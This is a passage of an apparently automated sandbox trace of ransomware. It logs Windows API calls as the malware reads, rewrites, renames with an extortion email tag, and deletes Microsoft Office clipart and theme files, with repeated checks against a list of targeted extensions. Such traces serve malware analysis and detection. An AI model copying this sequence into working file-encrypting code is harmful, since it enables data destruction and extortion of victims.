Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0137.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.273] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.273] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.274] GetLastError () returned 0x0 [0137.274] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0137.283] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0137.284] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.284] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.284] SetEndOfFile (hFile=0x4c4) returned 1 [0137.285] CloseHandle (hObject=0x4c4) returned 1 [0137.285] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.285] SetEndOfFile (hFile=0x540) returned 1 [0137.288] CloseHandle (hObject=0x540) returned 1 [0137.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0137.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.289] lstrlenW (lpString=".doc") returned 4 [0137.289] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.289] lstrlenW (lpString=".docx") returned 5 [0137.289] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0137.289] lstrlenW (lpString=".pdf") returned 4 [0137.289] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.289] lstrlenW (lpString=".xls") returned 4 [0137.289] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.289] lstrlenW (lpString=".xlsx") returned 5 [0137.289] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0137.289] lstrlenW (lpString=".ppt") returned 4 [0137.289] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.289] lstrlenW (lpString=".zip") returned 4 [0137.289] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.289] lstrlenW (lpString=".rar") returned 4 [0137.289] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.289] lstrlenW (lpString=".bz2") returned 4 [0137.289] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.289] lstrlenW (lpString=".7z") returned 3 [0137.289] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.289] lstrlenW (lpString=".dbf") returned 4 [0137.289] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.289] lstrlenW (lpString=".1cd") returned 4 [0137.289] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.290] lstrlenW (lpString=".jpg") returned 4 [0137.290] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.290] lstrlenW (lpString=".doc") returned 4 [0137.290] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.290] lstrlenW (lpString=".docx") returned 5 [0137.290] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0137.290] lstrlenW (lpString=".pdf") returned 4 [0137.290] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.290] lstrlenW (lpString=".xls") returned 4 [0137.290] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.290] lstrlenW (lpString=".xlsx") returned 5 [0137.290] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0137.290] lstrlenW (lpString=".ppt") returned 4 [0137.290] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.290] lstrlenW (lpString=".zip") returned 4 [0137.290] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.290] lstrlenW (lpString=".rar") returned 4 [0137.290] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.290] lstrlenW (lpString=".bz2") returned 4 [0137.290] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.290] lstrlenW (lpString=".7z") returned 3 [0137.290] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.290] lstrlenW (lpString=".dbf") returned 4 [0137.290] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.290] lstrlenW (lpString=".1cd") returned 4 [0137.290] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0137.291] lstrlenW (lpString=".jpg") returned 4 [0137.291] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.291] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.291] lstrlenW (lpString="SHOW_01.MID") returned 11 [0137.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.291] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6392) returned 1 [0137.291] CloseHandle (hObject=0x540) returned 1 [0137.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0137.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.292] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.292] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.292] GetLastError () returned 0x0 [0137.292] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0137.294] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1900, lpOverlapped=0x0) returned 1 [0137.295] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.295] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0137.295] SetEndOfFile (hFile=0x4c4) returned 1 [0137.295] CloseHandle (hObject=0x4c4) returned 1 [0137.295] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.295] SetEndOfFile (hFile=0x540) returned 1 [0137.406] CloseHandle (hObject=0x540) returned 1 [0137.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0137.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.591] lstrlenW (lpString=".doc") returned 4 [0137.591] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.591] lstrlenW (lpString=".docx") returned 5 [0137.591] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.591] lstrlenW (lpString=".pdf") returned 4 [0137.591] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.591] lstrlenW (lpString=".xls") returned 4 [0137.591] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.592] lstrlenW (lpString=".xlsx") returned 5 [0137.592] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.592] lstrlenW (lpString=".ppt") returned 4 [0137.592] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.592] lstrlenW (lpString=".zip") returned 4 [0137.592] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.592] lstrlenW (lpString=".rar") returned 4 [0137.592] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.592] lstrlenW (lpString=".bz2") returned 4 [0137.592] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.592] lstrlenW (lpString=".7z") returned 3 [0137.592] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.592] lstrlenW (lpString=".dbf") returned 4 [0137.592] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.592] lstrlenW (lpString=".1cd") returned 4 [0137.592] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.592] lstrlenW (lpString=".jpg") returned 4 [0137.592] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.592] lstrlenW (lpString=".doc") returned 4 [0137.592] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.592] lstrlenW (lpString=".docx") returned 5 [0137.592] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.592] lstrlenW (lpString=".pdf") returned 4 [0137.592] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.593] lstrlenW (lpString=".xls") returned 4 [0137.593] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.593] lstrlenW (lpString=".xlsx") returned 5 [0137.593] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.593] lstrlenW (lpString=".ppt") returned 4 [0137.593] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.593] lstrlenW (lpString=".zip") returned 4 [0137.593] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.593] lstrlenW (lpString=".rar") returned 4 [0137.593] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.593] lstrlenW (lpString=".bz2") returned 4 [0137.593] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.593] lstrlenW (lpString=".7z") returned 3 [0137.593] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.593] lstrlenW (lpString=".dbf") returned 4 [0137.593] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.593] lstrlenW (lpString=".1cd") returned 4 [0137.593] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0137.593] lstrlenW (lpString=".jpg") returned 4 [0137.593] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.593] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0137.593] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0137.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.622] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=340217) returned 1 [0137.622] CloseHandle (hObject=0x534) returned 1 [0137.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0137.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.623] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.623] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.625] GetLastError () returned 0x0 [0137.625] ReadFile (in: hFile=0x534, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x530f9, lpOverlapped=0x0) returned 1 [0137.646] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x53100, lpOverlapped=0x0) returned 1 [0137.652] ReadFile (in: hFile=0x534, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.652] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xfa, lpOverlapped=0x0) returned 1 [0137.652] SetEndOfFile (hFile=0x4c4) returned 1 [0137.660] CloseHandle (hObject=0x4c4) returned 1 [0137.660] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.660] SetEndOfFile (hFile=0x534) returned 1 [0137.667] CloseHandle (hObject=0x534) returned 1 [0137.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0137.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.668] lstrlenW (lpString=".doc") returned 4 [0137.668] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.668] lstrlenW (lpString=".docx") returned 5 [0137.668] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.668] lstrlenW (lpString=".pdf") returned 4 [0137.668] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.668] lstrlenW (lpString=".xls") returned 4 [0137.668] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.668] lstrlenW (lpString=".xlsx") returned 5 [0137.668] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.668] lstrlenW (lpString=".ppt") returned 4 [0137.668] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString=".zip") returned 4 [0137.669] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".rar") returned 4 [0137.669] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".bz2") returned 4 [0137.669] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".7z") returned 3 [0137.669] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString=".dbf") returned 4 [0137.669] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString=".1cd") returned 4 [0137.669] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString=".jpg") returned 4 [0137.669] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString=".doc") returned 4 [0137.669] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".docx") returned 5 [0137.669] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.669] lstrlenW (lpString=".pdf") returned 4 [0137.669] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".xls") returned 4 [0137.669] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".xlsx") returned 5 [0137.669] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.669] lstrlenW (lpString=".ppt") returned 4 [0137.669] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.669] lstrlenW (lpString=".zip") returned 4 [0137.669] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.669] lstrlenW (lpString=".rar") returned 4 [0137.670] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.670] lstrlenW (lpString=".bz2") returned 4 [0137.670] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.670] lstrlenW (lpString=".7z") returned 3 [0137.670] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.670] lstrlenW (lpString=".dbf") returned 4 [0137.670] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.670] lstrlenW (lpString=".1cd") returned 4 [0137.670] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0137.670] lstrlenW (lpString=".jpg") returned 4 [0137.670] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.670] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0137.670] lstrlenW (lpString="Glossy.eftx") returned 11 [0137.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.671] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=335038) returned 1 [0137.671] CloseHandle (hObject=0x534) returned 1 [0137.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0137.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.671] CreateFileW 